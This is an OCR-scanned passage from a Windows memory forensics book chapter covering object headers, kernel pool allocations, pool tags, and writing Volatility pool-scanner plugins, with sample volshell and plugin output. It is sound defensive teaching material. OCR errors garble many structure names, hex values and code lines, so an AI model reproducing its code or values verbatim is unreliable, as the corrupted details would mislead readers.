quota_1InFo headers. Additionally, a mutex only needs a name if it is to be shared between
multiple processes. Thus, named mutexes will have an _oBJecT_HEADER NaME_INFO header,
whereas unnamed mutexes will not. Although many of the optional headers can be useful
for forensic purposes, it is the name header that investigators most commonly analyze.

Table 5-2 shows the optional headers that are available on 64-bit Windows 7 systems. If
the value in the Bit Mask column is set in the object’s _OBJECT HEADER.InfoMask, the corre-
sponding optional header is present. If you recall the layout of the structures in Figure 5-1,
the optional headers are located at negative offsets from the start of the 0oBJECT HEADER.
The exact distance depends on which other headers are present and their sizes (shown
in the size column of Table 5-2).

Table 5-2: Optional Headers on 64-Bit Windows 7

Name Structure Bit Mask Size (Bytes) Description

Creator Info _OBJECT HEADER _ 0x1 32 Stores information on the
CREATOR_INFO creator of the object

Name Info _OBJECT_HEADER _ 0x2 32 Stores the object’s name
NAME_INFO

Handle Info _OBJECT_HEADER_ 0x4 16 Maintains data about pro-
HANDLE_INFO cesses with open handles to

the object

Quota Info _OBJECT_HEADER_ 0x8 32 Tracks usage and resource
QUOTA_INFO stats

Process Info _OBJECT_HEADER 0x10 16 Identifies the owning process

PROCESS_ INFO

NOTE

Starting in Windows 8 and Server 2012, a new optional header containing audit infor-
mation (_ OBJECT HEADER AUDIT INFO) with bit mask ox40 was introduced. To read more
about the changes in object header formats between operating system versions, see

http://www.codemachine.com/article objectheader.html.
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Object Type Objects

The TypeIndex member of OBJECT HEADER is an index into nt ! 0bTypeIndexTable—an array

of type objects (_oBJEcT_TvPE). As you saw in Table 5-1, these objects contain metadata

that describes common properties of all objects. This data is critical to memory forensics

because you can use it to determine the type of object that follows an _oBJECT HEADER.

For example, process handle table entries (see Chapter 6) point to object headers. Thus,

when you enumerate entries in a handle table, the type of data that follows the header is

arbitrary—it could be a _FILE_OBJECT, _EPROCESS, or any other executive object. You can

distinguish between the various possibilities by looking at the TypeIndex value, locating

the _oBgecT_TvpE that corresponds to the index, and then evaluating the Name member.

Refer to Table 5-1 for the mappings between object type names and their structure names.

Data Structures

An example of the object type structure for 64-bit Windows 7 follows:

>>> dt ("_OBJECT TYPE")

' _OBJECT TYPE' (208 bytes)
0x0 : TypeList ['_LIST ENTRY']
0x10 : Name ['_UNICODE_STRING']
0x20 : DefaultObject ['pointer64', ['void']]
0x28 : Index ['unsigned char']
0x2c : TotalNumberOfObjects ['unsigned long']
0x30 : TotalNumberOfHandles ['unsigned long']
0x34 : HighWaterNumberOfObjects ['unsigned long']
0x38 : HighWaterNumberOfHandles ['unsigned long']
0x40 : TypelInfo [' OBJECT TYPE INITIALIZER']
0xb0 : TypeLock [' EX PUSH LOCK']
0xb8 : Key ['unsigned long']
0xcO0 : CallbackList ['_LIST ENTRY']
Key Points
The key points are these:

Name: This is a Unicode string name of the object type (Process, File, Key, etc.).
TotalNumberOfobjects: The total number of objects of this particular object type
that exist on the system.

TotalNumberOfHandles: The total number of open handles to objects of this par-
ticular type.

TypeInfo: An_OBJECT TYPE_INITIALIZER structure that tells you the type of mem-
ory used to allocate instances of these objects (for example, paged or nonpaged
memory).
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Key: A four-byte tag that is used to uniquely mark memory allocations that contain

objects of this particular type.

The TypeInfo and key members provide two clues that will prove to be invaluable to

memory forensics—they essentially tell you where to look (in paged or nonpaged memory)

and what to look for (a specific four-byte tag) to find all instances of a particular object

type (for example, all processes or all files). The following example shows how you can

derive this information dynamically from your memory dump by writing short scripts

for the volshell plugin:

S python vol.py -f memory.dmp --profile=Win7SP1x64 volshell
Volatile Systems Volatility Framework 2.4
Current context: process System, pid=4, ppid=0 DTB=0x187000

To get help,
>>> kernel space =
>>> ObTypeIndexTable =

'hh()'
addrspace ()
OxFFFFF80002870300

type

>>> ptrs = obj.Object ("Array",
targetType = "Pointer",
offset = ObTypeIndexTable,
count = 100,

S vm = kernel space)

>>> ptrs[0]

<NoneObject pointer to

[0x00000000] >

>>> ptrs[1l]

<NoneObject pointer to

[0xBADOBOBO] >

>>> for i, ptr in enumerate(ptrs):

W 3 o0 Ul B W N

9

objtype =
if objtype.is_valid():
print i,

str (objtype.Name), "in",

ptr.dereference_as (" OBJECT TYPE")

str (objtype.TypeInfo.PoolType),

"with key",
str (objtype.Key)

Type in NonPagedPool with key ObjT
Directory in PagedPool with key Dire
SymbolicLink in PagedPool with key Symb
Token in PagedPool with key Toke

Job in NonPagedPool with key Job

Process in NonPagedPool with key Proc

Thread in NonPagedPool with key Thre
UserApcReserve in NonPagedPool with key User

10 IoCompletionReserve in NonPagedPool with key IoCo

11 DebugObject in NonPagedPool with key Debu
12 Event in NonPagedPool with key Even
[snip]
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As shown in the code, we treated the data at kernel address 0xFFFFF80002870300 as an
array of pointers to _oBJECT_TYPE structures. By iterating through the results, you can see
that Process objects are in nonpaged memory, and Token objects are in paged memory.
Thus, you would expect RAM to always contain the _EPROCESS objects, whereas some _TOKEN
objects may be swapped to disk. Furthermore, you have a potential signature to scan for
when trying to find the actual objects in memory (proc for processes and Toke for tokens). Of
course, you'll want a more robust signature than just four bytes, or else false positives will
cloud your results. This brings you to the next requirement: understanding pool allocations.

NOTE

To get the address of 0xFFFFF80002870300 for the previous example, we typed
x nt!ObTypeIndexTable into Windbg. Your value will be different. If you don’t have
access to Windbg, you can generate similar results to the script by using the objtypescan
Volatility plugin, as shown in the following command:

$ python vol.py -f win7x64cmd.dd --profile=Win7SP0x64 objtypescan
Volatility Foundation Volatility Framework 2.4

Offset nObjects nHandles Key  Name PoolType
0xfffffa8001840190 0x2a 0x0 ObjT Type NonPaged
O0xfffffa80018469f0 0x1 0x1 IoCo IoCompletionReserve NonPaged
Oxfffffa8001846b40 0x0 0x0 User UserApcReserve NonPaged
Oxfffffa8001846c90 0x1ldc 0x320 Thre Thread NonPaged
O0xfff£££fa8001846de0 0x27 0xdé6 Proc Process NonPaged
Oxff£££fa8001846£30 0x2 0x2 Job Job NonPaged
0xfffffa800184bad0 0x2bd5 0x4b9 Toke Token Paged
0xfffffa800184bde0 0xc2 0x5 Symb SymbolicLink Paged
O0xfffffa800184b£f30 0x27 0x6f Dire Directory Paged
O0xfffffa80018acas0 0x0 0x0 Debu DebugObject NonPaged
0xff£££fa80018b7570 0x2023 0x2421 Even Event NonPaged
0xff£££fa80018bc900 0x3f 0x3f TpWo TpWorkerFactory NonPaged
0xfffffa80018bca50 O0xa 0x2a Desk Desktop NonPaged
0xfffffa80018c2900 0x0 0x0 Prof Profile NonPaged
0xfffffa80018c2a50 0x84 0x84 Time Timer NonPaged
Oxff£££fa80018c3570 0x0 0x0 Even EventPair NonPaged
0xff£££fa80018c5570 0x13a 0x17b Muta Mutant NonPaged
0xfffffa80018c6570 oxf 0x0 Call Callback NonPaged
0xfffffa80018c7570 0x358 0x35a Sema Semaphore NonPaged
O0xffff£fa80018c8900 0x2 0xd Sess Session NonPaged
[snip]

The offset on the left is the address of the _oBJgecT_TvPE in kernel memory. You'll notice
this table contains the same information as the volshell script, but the results are in a
different order because the volshell script walked a list starting at nt 1 0bTypeIndexTable
and objtypescan scanned memory and reported results in the order they were found.
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Kernel Pool Allocations

A kernel pool is a range of memory that can be divided up into smaller blocks for storing
any type of data that a kernel-mode component (the NT module, third-party device driver,
etc.) requests. Similar to a heap, each allocated block has a header ( _roor,_zEaDER) that
contains accounting and debugging information. You can use this extra data to attribute
memory blocks back to the driver that owns them—and to an extent make inferences
about the type of structures or objects contained within the allocation. This is not only
critical for diagnosing memory leaks and corruption issues but is also invaluable for
memory forensics.

NOTE

Kernel pool internals are also valuable to the offensive community because a good
understanding can lead to exploitation techniques. For more information, see Ker-
nel Pool Exploitation on Windows 7 by Tarjei Mandt: http://www.mista.nu/research/
MANDT-kernelpool -PAPER.pdf.

Figure 5-2 is a modified version of Figure 5-1, showing the difference in memory layout
once you consider the fact that these allocations have a pool header at the base address
(start of the range).

Pool allocation
(ExAllocatePoolWithTag)

Size of allocation

_POOL_HEADER

_OBJECT_HEADER_PROCESS_INFO

_OBJECT_HEADER_QUOTA_INFO

Optional headers } _OBJECT_HEADER_HANDLE_INFO

_OBJECT_HEADER_NAME_INFO

_OBJECT_HEADER_CREATOR_INFO

Reference Counts,
Security Descriptor, _OBJECT_HEADER \ 0x30 Bytes
Object Type, Flags
Object Body Object size varies
(e.g. _FILE_OBJECT) per structure

Figure 5-2: Executive objects within a pool
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Data Structures

On a 64-bit Windows 7 system, the pool header looks like this:

>>> dt ("_POOL_HEADER")
' _POOL_HEADER' (16 bytes)

0x0 : BlockSize ['BitField', {‘end_bit': 24,
'start _bit': 16, 'native type': 'unsigned long'}]
0x0 : PoolIndex ['BitField', {'end bit': 16,
'start_bit': 8, 'mative type': 'unsigned long'}]
0x0 : PoolType ['BitField', {'end bit': 32,
'start bit': 24, 'native type': 'unsigned long'}]
0x0 : PreviousSize ['BitField', {‘end_bit': 8,
'start_bit': 0, 'native type': 'unsigned long'}]
0x0 : Ulongl ['unsigned long']
0x4 : PoolTag ['unsigned long']
0x8 : AllocatorBackTraceIndex ['unsigned short']
0x8 : ProcessBilled ['pointer64', ['_EPROCESS']]
Oxa : PoolTagHash ['unsigned short']
Key Points
The key points are these:

Blocksize: The total size of the allocation, including the pool header, object header,
and any optional headers.

PoolType: The type of system memory (paged, nonpaged, etc.) for which this pool
header describes.

PoolTag: A four-byte value, typically composed of ASCII characters that should
uniquely identify the code path taken to produce the allocation (so troublesome
blocks can be traced back to their source). On systems prior to Windows 8 and
Server 2012, one of the characters may be modified to set the “protected bit” (which
you can read more about in the note near Table 5-3).

Allocation APIs

Before creating an instance of an executive object (or any object, for that matter), a memory
block large enough to store the object and its headers must be allocated from one of the
operating system’s pools. A commonly used application programming interface (API) for
this purpose is ExallocatePoolwithTag. The function prototype is as follows:

PVOID ExAllocatePoolWithTag (
_In_ POOL_TYPE PoolType,
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~In_ SIZE_ T NumberOfBytes,
_In_ ULONG Tag
)i
The poolType argument specifies the type of system memory to use for the allocation.
NonpPagedPool (0) and pagedrool (1) are the enumeration values for nonpageable and page-
able memory, respectively. As previously shown, most, but not all, executive object types
are allocated using nonpageable memory—and you can always make the distinction by
looking at a particular object’s _0BJECT_TYPE.TypeInfo.PoolType member.

NOTE

There are various other flags you can specify that control whether the memory is
executable, cache aligned, and so on. For more details, see http: //msdn.microsoft . com/
en-us/library/windows/hardware/f£559707 (v=vs.85) .aspx.

The NumberofBytes argument contains the number of bytes to allocate. Drivers that
call ExallocatePoolwithTag directly can set this to the size of data they need to store in
the memory block. Executive objects are different, as you have already learned, because
they require extra space to store the object headers and optional headers. A function in
the kernel named obcreateobject is the central point from which all executive objects are
created. It determines the size of the requested structure (i.e.,, 1232 bytes for an _EProcESs
on 64-bit Windows 7) and adds the size of _oBJEcT_HEADER and any optional headers that
need to be present before calling ExAllocatePoolWithTag.

The Tag argument specifies a four-byte value, typically composed of ASCII characters
that should uniquely identify the code path taken to produce the allocation (so trouble-
some blocks can be traced back to their source). In the case of executive objects, the tags
are derived from the _0BJECT_TYPE.key member—which explains why the Tag is the same
for all objects of a particular type.

Assuming that a process wants to create a new file using the Windows AP, the fol-
lowing steps will occur:

The process calls createrilea (ASCII) or createrilew (Unicode)—both are exported
by kernel32.dll.

The create file APIs lead into ntd11.d11, which subsequently calls into the kernel
and reaches the native NtcreateFile function.

NtcreateFile will call obcreateobject to request a new File object type.
obcreateobject calculates the size of _FILE_oBJECT, including the extra space
needed for its optional headers.
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ObCreateoObject finds the _oBJEcT_TvPE structure for File objects and determines
whether to allocate paged or nonpaged memory, as well as the four-byte tag to
use.

ExAllocatePoolWithTag is called with the appropriate size, memory type, and tag.

After the listed steps, a new _FILE_OBJECT exists in memory, and the allocation is
marked with the specific four-byte tag. This isn't all that happens, of course—a pointer
to the object header is added to the calling process” handle table, a system-wide pool tag
tracking database is updated accordingly, and the individual members of the _FILE oBJECT
are initialized with the path to the file being created and the requested access permissions
(e.g., read, write, delete).

NOTE

Sequential allocations using the same size, tag, and memory type will not necessar-
ily end up contiguous in memory. Although the operating system attempts to group
similarly sized allocations together, if there are no free blocks of the requested size
available, the kernel will select a block from the next largest size group. As a result,
you may see that allocations containing the same type of object are scattered through-
out the pool. Additionally, this allows smaller structures to occupy memory blocks
previously used to store larger structures—creating a “slack space” condition if the
memory isn’t cleared properly.

For more information, see Andreas Schuster’s The Impact of Windows Pool Allocation
Strategies on Memory Forensics: http: //dfrws.org/2008/proceedings/p58-schuster. pdf.

De-allocation and Reuse

Continuing with the example of a process that creates a new file, the lifetime (i.e., pres-
ence in physical memory) of the corresponding _r1LE_osJtcT will depend on various
factors. The single most important factor is how soon the process indicates (by calling
CloseHandle) that it is finished reading or writing the new file. At this time, if no other
processes are using the file object, the block of memory will be released back to the
pool’s “free list,” where it can be reallocated for a different purpose. While waiting to be
reallocated, or at any time before new data is written to the memory block, much of the
original _FILE_oBJECT will remain intact.

Exactly how long the memory block lingers in this state depends on the activity level
of the system. If the machine is thrashing, and the sizes of blocks being requested are
less than or equal to the size of _FILE_oBJECT, it will be overwritten quickly. Otherwise,
the object could persist for days or weeks—long after the process that created the file
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has terminated. In the past, students frequently asked this: After a network connection
is closed, how soon must memory be acquired in order to preserve the evidence? The
answer is that it’s unpredictable and can vary per machine or even time of day.

To reiterate, when blocks of pool memory are released, they are simply marked as free,
not immediately overwritten. The same concept applies to disk forensics. When an NTFS
file is deleted, only the Master File Table (MFT) entry is modified to reflect the changed
status. The file’s content remains untouched until the sectors are reassigned to a new file and
write operations take place. As a result of this behavior, you can find executive objects (or
any memory allocations, for that matter) in RAM long after they’ve been discarded by the
operating system. This gives you a unique perspective into the system that not only includes
the list of actively used executive objects but also the resources that existed in the past.

Pool-Tag Scanning

Pool-tag scanning, or simply pool scanning, refers to finding allocations based on the afore-
mentioned four-byte tags. For example, to locate process objects, you could find the kernel
symbol that points to the start of the doubly linked active process list; and then enumer-
ate the entries by walking the list. Another option, pool scanning, involves searching
the entire memory dump file for proc (the four-byte tag associated with _eprocEss). The
advantage to the latter method is that you can find historical entries (processes that are
no longer running) as well as defeat some rootkit hiding techniques, e.g., Direct Kernel
Object Manipulation (DKOM), that rely on manipulating the list(s) of active objects.

When you perform pool tag scanning, the four-byte tag is just your starting point. If it
were all you relied upon, there would be large numbers of false positives. Consequently,
Volatility builds a more robust “signature” of what memory around the desired alloca-
tions looks like, and it’s based on the information described earlier in the chapter. For
example, the size of the allocation and type of memory (paged, nonpaged) play a large
role in eliminating false positives. If youre looking for a 100-byte _EprocEss and find
proc inside a 30-byte allocation, it cannot possibly be a real process because the memory
block is too small.

NOTE

In addition to the initial criteria (tag, size, memory type), Volatility’s pool-scanning
infrastructure allows you to add custom constraints per object type. For example, if
a process’ creation timestamp should never be zero, you can configure the scanner
based on that knowledge. The scanner will then report only findings with non-zero
timestamps.
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Pool Tag Sources

Table 5-3 shows the initial criteria that Volatility uses to find the listed executive objects
via pool scanning. The minimum size for the table is calculated by adding the size of
_EPROCESS (for processes), OBJECT HEADER, and _POOL_HEADER.

Table 5-3: Pool Tag Data Used by Existing Volatility Plugins for Windows XP to 7

Min. Size
Object Tag Tag (Protected) (Win7 x64) Memory Type Plugin
Process Proc Pro\xe3 1304 Nonpaged psscan
Threads Thrd Thr\xe4 1248 Nonpaged thrdscan
Desktops Desk Des\xeb 296 Nonpaged deskscan
Window Wind Win\xe4 224 Nonpaged wndscan
Stations
Mutants Mute Mut\xe5 128 Nonpaged mutantscan
File Objects File Fil\xe5 288 Nonpaged filescan
Drivers Driv Dri\xfé 408 Nonpaged driverscan
Symbolic Links Link Lin\xeb 104 Nonpaged symlinkscan

Although the data in Table 5-3 was gathered by looking in the Volatility source code,
it’s important to understand where to get the original information. For example, you
may need to adjust the fields when new versions of Windows are released or create a
pool scanner that finds an executive object that existing Volatility plugins don’t cover.
Furthermore, if a malicious kernel driver allocates pools to store its data (configurations,
command and control packets, names of system resources to hide, etc.), you will need a
mechanism to obtain the criteria for finding the memory blocks.

Also, notice the Tag (Protected) column in Table 5-3. One of the most infrequently
documented intricacies regarding pool tags is the protected bit. When you free a pool with
ExFreePoolWithTag, you must supply the same tag supplied to ExallocatePoolWithTag.
This is a technique the operating system uses to prevent drivers from freeing memory
by accident. If the tag passed to the free function doesn’t match, the system will raise an
exception. This has a substantial impact on memory forensics because you really need to
look for the protected version of the pool tag.
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NOTE

The protected bit isn’t set for all allocations, only for several of the executive object
types. Furthermore, as of Windows 8 and Server 2012, the protected bit seems to
be gone. For more information on the protected bit, see http://msmvps.com/blogs/
windrvr/archive/2007/06/15/tag-you-re-it.aspx.

Pooltag File

As previously mentioned, Microsoft created pool tags for debugging and auditing pur-
poses. Thus, some installations of the Windows Driver Development Kit (DDK) and
Debugging Tools for Windows include a pooltag. txt file that you can use to perform
lookups. For example, given a pool tag, you could determine the purpose of the alloca-
tions and the owning kernel driver. Because the file contains descriptions, you can also
start with key words such as “process object” or “file object,” and figure out the pool tag.
Here is an example of what you'll see in the pooltag.txt file:

rem
rem Pooltag.txt

rem

rem This file lists the tags used for pool allocations by kernel mode components
rem and drivers.

rem

rem The file has the following format:

rem <PoolTag> - <binary-name> - <Descriptionx>

rem

rem Pooltag.txt is installed with Debugging Tools for Windows (%windbg%\triage)
rem and with the Windows DDK (in %winddk%\tools\other\platform\poolmon, where
rem platform is amdé4, 1386, or ia64).

rem
AdSvV - vmsrvc.sys - Virtual Machines Additions Service
ARPC - atmarpc.sys - ATM ARP Client

ATMU - atmuni.sys - ATM UNI Call Manager

[snip]

Proc - ntl!ps - Process objects

Ps - ntlps - general ps allocations

[snip]

RaDA - tcpip.sys - Raw Socket Discretionary ACLs

RaEW - tcpip.sys - Raw Socket Endpoint Work Queue Contexts
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RaJP - tcpip.sys - Raw Socket Join Path Contexts
RaMI - tcpip.sys - Raw Socket Message Indication Tags

The line in bold shows that process objects use the proc tag and are allocated by nt 1ps,
which is the process subsystem of the NT module. Although this information is useful,
it’s just your starting point. Now that you know the tag for process objects, you still have
to find the approximate size of the allocations and the type of memory (paged, nonpaged).

NOTE

The pooltag.txt file contains only tags used by Microsoft’s kernel mode components.
It does not include data on third-party or malicious drivers. However, there are online
databases (e.g., http://alter.org. ua/docs/win/pooltag) for which the community
can submit pool tag descriptions. Be aware that the information on these websites is
submitted anonymously and may not be accurate.

PoolMon Utility

PoolMon (http ://msdn.microsoft.com/en-us/library/windows/hardware/
££550442 (v=vs.85) .aspx) is a memory pool monitor distributed with Microsoft’s Driver
Development Kit (DDK). It reports live updates about the pool tags that are in use on a
system, along with the following information:

The memory type (Paged or Nonpaged)
Number of allocations

Number of frees

Total number of bytes occupied by allocations
Average bytes per allocation

The output that follows shows an example of using PoolMon. The -b switch sorts the
data by the number of bytes so that the most memory-intensive tags are listed first.

C:\WinDDK\7600.16385.1\tools\Other\i386> poolmon.exe -b
Memory: 2096696K Avail: 1150336K PageFlts: 8135 InRam Krnl: 5004K P:158756K

Commit:1535208K Limit:4193392K Peak:2779016K Pool N:43452K P:187796K
System pool information

Tag Type Allocs Frees Diff Bytes Per Alloc
CM31 Paged 169392 ( 0) 153744 ( 0) 15648 74838016 ( 0) 4782
MmSt Paged 673616 ( 16) 656049 ( 17) 17567 28286672 ( -184) 1610

MmRe Paged 67417 ( 0) 66213 ( 0) 1204 12613400 ( 0) 10476
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CM25 Paged 2404 ( 0) 0 ( 0) 2404 10678272 ( 0) 4441
NtfF Paged 105073 (  0) 94672 ( 0) 10401 10484208 ( 0) 1008
Cont Nonp 2582 ( 0) 251 (0) 2331 9996936 ( 0) 4288
Ntff Paged 426392 (0) 418603 ( 0) 7789 6978944 ( 0) 896
FMfn Paged 5163318 ( 0) 5145133 (  0) 18185 5632928 ( 0) 309
Pool Nonp 16 ( 0) 11 ( 0) 5 4318792 ( 0) 863758
File Nonp 126693501 ( 128) 126675442 ( 132) 18059 3311048 ( -736) 183
Ntfx Nonp 563917 ( 0) 545668 (  0) 18249 3059312 ( 0) 167
CIcr Paged 68617 ( 0) 67257 (0) 1360 3026600 ( 0) 2225
MmCa Nonp 617058 ( 16) 601659 ( 17) 15399 2197152 ( -120) 142
vmmp Nonp 19 ( 0) 15 ( 0) 4 2105480 ( 0) 526370
AWP6 Nonp 12 ( 0) 10 ( 0) 2 2007040 ( 0) 1003520
NtFs Paged 13782497 ( 9) 13760105 (  9) 22392 1963432 ( 0) 87
FSim Paged 245313 (  0) 230460 ( 0) 14853 1901184 ( 0) 128
FMsl Nonp 555526 (  0) 537329 ( 0) 18197 1892488 ( 0) 104
FIcs Paged 2591469 ( 0) 2573319 ( 0) 18150 1887600 ( 0) 104
Ntfo Paged 2726359 ( 9) 2716000 (  9) 10359 1635912 ( 0) 157

[snip]

As you can see, cM31 ranks highest in byte count. Since the system started, there have
been 169,392 calls to ExAllocatePoolwithTag for the cm31 tag, and 153,744 of them have
been freed. This leaves the difference of 15,648 currently allocated blocks, together con-
suming 74,838,016 bytes (approximately 75MB) of memory. On average, that’s 4,782 bytes
per allocation.

The cm25 tag is not too far behind cm31, using about 10MB of memory. The CM in
these tag names stands for Configuration Manager, which is the kernel component that
maintains the Windows Registry. Thus, you can conclude that at least 85MB of RAM
is reserved for storing registry keys and data. Don’t expect to extract all 85MB from a
memory dump, however—because both tags are in paged memory, some of the data may
be swapped to disk.

Another interesting point is regarding the rile tag (allocations that store _FILE_OBJECT
structures). As shown by PoolMon, more than 126,000,000 have been created since the last
reboot, which makes sense because a _r1LE_oBJEecT is allocated each time a file is opened
or created. However, because file objects are rather small, the 18,000 that are currently
allocated consume only about 3.5MB total (an average of 183 bytes per allocation).

Aside from the insight you gain into the inner workings of the operating system, the
output from PoolMon complements the information from pooltag.txt. Together, they
provide you with the pool tag, description, owning kernel driver, allocation size, and
memory type—just about everything you need to start scanning memory dumps for
instances of the allocations.



134 Partll: Windows Memory Forensics

NOTE

The Windows kernel debugger can also help you determine pool tag associations. For
example, the 1poolfind command performs a search for the desired tag and tells you
the memory type and size. You can use it like this:

kd> !poolfind Proc

Searching NonPaged pool (fffffag8000c02000 : ffffffe000000000) for Tag: Proc

*fffffag8000c77000 size: 430 previous size: 0 (Allocated) Proc (Protected)
*fffffag8001346000 size: 430 previous size: 0 (Allocated) Proc (Protected)
*fffffag8001361000 size: 430 previous size: 0 (Allocated) Proc (Protected)
*fffffag800138f7a0 size: 430 previous size: 30 (Free) Pro.
*fffffag80013cblel size: 430 previous size: c0 (Allocated) Proc (Protected)
*fffffag80013e4460 size: 430 previous size: f0 (Allocated) Proc (Protected)
*fffffag0014£fd000 size: 430 previous size: 0 (Allocated) Proc (Protected)
*fffffag800153ebd0 size: 10 previous size: 70 (Free) Pro.

[snip]

The output is truncated for the sake of brevity, but of the results shown, there are six
currently allocated blocks and two that are marked as free. One of the free blocks is
the same size as the allocated ones (430), and the other is much smaller (10). Thus, it
is likely that the free block at oxffff£a800138£7a0 contains a terminated _EPROCESS;
whereas part of the block at oxf££££a800153ebdo has been repurposed.

Pool Tracker Tables

Because PoolMon is intended to provide real-time updates of changes in pool tag usage,
it must be run on a live system. But what if you only have a memory dump? Luckily,
memory actually contains the statistics that PoolMon reads. They are accessible from the
same kernel debugger data block ( _kDDEBUGGER_DaTA64) that stores the active process
and loaded module lists. In particular, the poolTrackTable member points to an array of
_POOL_TRACKER_TABLE structures—one for each unique pool tag in use. Here is how these
structures appear on a 64-bit Windows 7 system:

>>> dt (" POOL TRACKER TABLE")
' POOL TRACKER TABLE' (40 bytes)

0x0 : Key ["long']

0x4 : NonPagedAllocs ['long']

0x8 : NonPagedFrees ["long']

0x10 : NonPagedBytes ['unsigned long long']
0x18 : PagedAllocs ['unsigned long'

0xlc : PagedFrees ['unsigned long'

0x20 : PagedBytes ['unsigned long long']
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As you can see, each tracker table has a key, which is the four-byte tag. The remaining
members tell you how many allocations, frees, and total bytes are consumed for both
nonpaged and paged memory. Although the information isn’t updated in real time (which
makes sense because the system isn’t running anymore), you can at least determine its
state at the time when the memory dump was acquired. Here’s an example of running
the pooltracker plugin and filtering for a few of the tags used by executive objects. The
column names start with “Np” for nonpaged or “Pg” for paged:

$ python vol.py -f win7x64.dd pooltracker

--profile=Win7SP0x64
--tags=Proc,File,Driv, Thre

Volatility Foundation Volatility Framework 2.4
Tag NpAllocs NpFrees NpBytes PgAllocs PgFrees PgBytes

Thre 614895 614419 606688 0 0 0
File 75346601 75336591 3350912 0 0 0
Proc 4193 4154 51728 0 0 0
Driv 143 6 67504 0 0 0

You can tell that all four tags are in nonpaged memory because the three columns
(NpAllocs, NpFrees, and NpBytes) are nonzero. To determine the approximate size per
allocation, divide the current number of allocations by the total bytes. For example, for
the Thre tag (Thread objects), the average size is 606688 / (614895 — 614419) = 1274 bytes.
Thus, to find all allocations containing threads, you will look for Thre tags in nonpaged
memory that are at least 1274 bytes.

NOTE

Here are a few critical points about the pool tracker tables:

Filtering options: If you run the pooltracker plugin without - -tags, it will
display statistics for all pool tags.

Verbose display: You can integrate data from the pooltag.txt file (using the
--tagfile option) so the output is labeled with the description and owning
kernel driver (if available).

Supported systems: Windows did not start writing statistics to the pool tracker
tables by default until after XP and 2003. Thus, the pooltracker plugin works
only with Vista and later operating systems.

Limitations: The pool tracker tables only record usage statistics; it does not
record the addresses of all allocations of a particular tag.
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Building a Pool Scanner

As previously mentioned, all the Volatility plugins listed in Table 5-3 implement the
pool-scanning approach to finding objects in memory. The framework provides a base

Poolscanner class that you can extend to customize the behavior of the scanner (e.g., what

tag to find, size of the allocations, memory type) and an Abstractscancommand class that

provides you with all the command-line options that a pool-scanning plugin will need.

Extending the PoolScanner

The following code shows you the necessary configuration for psscan (a pool scanner for

process objects):

1
2
3
4
5
6
7
8
9

10
11
12
13
14
15
16

class PoolScanProcess (poolscan.PoolScanner) :
"n1pool scanner for process objects"""

def init (self, address_space, **kwargs):
poolscan.PoolScanner. init (self, address_space, **kwargs)

self.struct_name = " EPROCESS"

self.object_type = "Process"

self.pooltag = obj.VolMagic (address_space) .ProcessPoolTag.v ()
size = self.address_space.profile.get obj size (" EPROCESS")

self.checks = [
('CheckPoolSize', dict(condition = lambda x: x >= size)),
('CheckPoolType', dict (non paged = True, free = True)),
('CheckPoolIndex', dict(value = 0)),
1

On the first line, PoolScanProcess extends PoolScanner, so it inherits the functionality

that is shared between all pool scanners. The only customizations you need to make for

finding process objects are these:

Structure name: On line 7, the structure name is set to _EprocEss. This tells the pool
scanner what type of structure is contained within the allocations.

Object type: On line §, the executive object type is set to process, which is used
as an additional form of validation. When the scanner finds a possible allocation,
it compares the supplied value with the Name member of the _oBJEcT HEADER. For
pool scanners that don’t contain executive objects (e.g., network connections and
sockets), the object type is not set.

Pool tag: On line 9, the pool tag is set. Instead of hard-coding a value like proc, the
tag is retrieved from a profile-specific container. This is necessary because tags can
change when new operating system versions are released.
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Allocation size: On line 10, the minimum size of an allocation that can store process
objects is generated (based on the size of _EProcEss). This is also not hard-coded
because the sizes vary between profiles, especially on 32- and 64-bit systems. The
size constraint is applied on line 13.

Memory type: On line 14, the valid memory types are declared. In this case, the
scanner will look for allocations in nonpaged and free memory. It will skip any
results in paged memory.

Extending AbstractScanCommand

Now that you've seen how to initialize a pool scanner, the next step is to create a plugin
that loads the scanner and displays your desired fields into the terminal. An example of
such code follows:

1 class PSScan(common.AbstractScanCommand) :

2 """pool scanner for process objects"""

3

4 scanners = [poolscan.PoolScanProcess]

5

6 def render text (self, outfd, data):

7 self.table header(outfd, [('Offset(P)', '[addrpad]l'),
8 ('Name', '1l6'),

9 ('"PID', '>6'),
10 ('"PPID', '>6'),
11 ('"PDB', '[addrpad]'),
12 ('Time created', '30'),
13 ('Time exited', '30'")
14 1)
15
16 for pool obj, eprocess in data:
17 self.table row(outfd,
18 eprocess.obj offset,
19 eprocess.ImageFileName,
20 eprocess.UniqueProcessId,
21 eprocess. InheritedFromUniqueProcessId,
22 eprocess.Pcb.DirectoryTableBase,
23 eprocess.CreateTime or '!',
24 eprocess.ExitTime or '')

As you can see on the first line, the name of the class (Psscan) that extends
AbstractScanCommand becomes the plugin name. On line 4, the plugin is associated with
the PoolscanProcess class. Be aware that the scanners variable can accept multiple classes,
in case you want to find various objects with a single pass through the memory dump
(this is a huge timesaver). As for the rest, lines 7-14 produce the table header in the text
output, and lines 1624 add one row to the table per result found by the scanner. In this
case, each result is an _EPROCESS object.
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By extending the base abstractscancommand, your new plugin comes equipped with
various command-line options that allow users to tweak the scanner’s behavior. You will
notice them at the bottom of the output from - -help, as shown by the following output:

$ python vol.py psscan --help

[snip]
-V, --virtual Scan virtual space instead of physical
-W, --show-unallocated

Show unallocated objects (e.g. 0xbad0b0b0)
-S START, --start=START
The starting address to begin scanning
-L LENGTH, --length=LENGTH
Length (in bytes) to scan from the starting address

Pool scanner for process objects

Here are descriptions of the options:

-v/--virtual: When scanning for pool allocations, you can use a virtual kernel
address space or a physical address space. By default, Volatility uses physical
space because it covers as much memory as possible—even the blocks that aren’t
currently in the kernel’s page table. This enables you to recover objects from “slack
space” in RAM. To switch into a mode that scans only the active pages for which
the kernel currently has mapped, use the -v/--virtual option.
-W/--show-unallocated: This setting controls whether the plugin shows objects
that the operating system explicitly marks as unallocated. For more informa-
tion, see Andreas Schuster’s blog post here: http://computer. forensikblog.de/
en/2009/04/0xbad0b0b0.html.

-s/--start and -L/ - -length: If you want to scan only a specific range of memory
instead of all memory, you can indicate the desired starting address and length
using these options. The address is determined to be a location in physical or virtual
memory depending on whether the -v/--virtual flag is set.

Pool Scanner Algorithm

The base poolscanner (and thus any scanner that extends it) uses the logic shown in
Figure 5-3 to generate results.
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Figure 5-3: Pool-scanning algorithm diagram

If you scan using a physical address space, the code starts looking for the four-byte pool
tag at offset 0 of the memory dump file and continues until it reaches the end of the file.
Otherwise, if a virtual address space is selected, it enumerates and scans all pages in the
